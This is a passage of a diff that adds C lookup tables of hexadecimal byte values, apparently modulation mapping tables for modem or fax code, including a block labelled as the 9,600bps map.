+            {0x00, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x26, 0x0f},
+            {0x20, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x2e, 0x0f},
+            {0x20, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x2e, 0x0f},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x0f},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x0f},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x0f},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x0f},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17}
+        },
+        {
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x08, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x08, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x08, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x08, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x08, 0x29, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x08, 0x29, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x08, 0x29, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x29, 0x0a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x29, 0x0a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x29, 0x0a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x29, 0x0a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x26, 0x0f},
+            {0x00, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x26, 0x0f},
+            {0x00, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x26, 0x0f},
+            {0x00, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x26, 0x0f},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x0f},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x0f},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x0f},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x0f},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17}
+        },
+        {
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x08, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x08, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x08, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x08, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x08, 0x29, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x29, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x29, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x29, 0x0a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x29, 0x0a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x0a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x26, 0x0f},
+            {0x00, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x26, 0x0f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x0f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x0f},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x0f},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x0f},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17}
+        },
+        {
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x08, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x08, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x08, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x29, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x29, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x29, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x29, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x0a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x0a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x0f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x0f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x0f},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17}
+        },
+        {
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x08, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x29, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x29, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x0a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x0f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17}
+        },
+        {
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x00, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17}
+        },
+        {
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x00, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17}
+        },
+        {
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x00, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17}
+        },
+        {
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x10, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x1f},
+            {0x00, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x31, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x1a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x00, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x05, 0x36, 0x17},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17}
+        }
+    },
+    {   /* 9,600bps map */
+        {
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
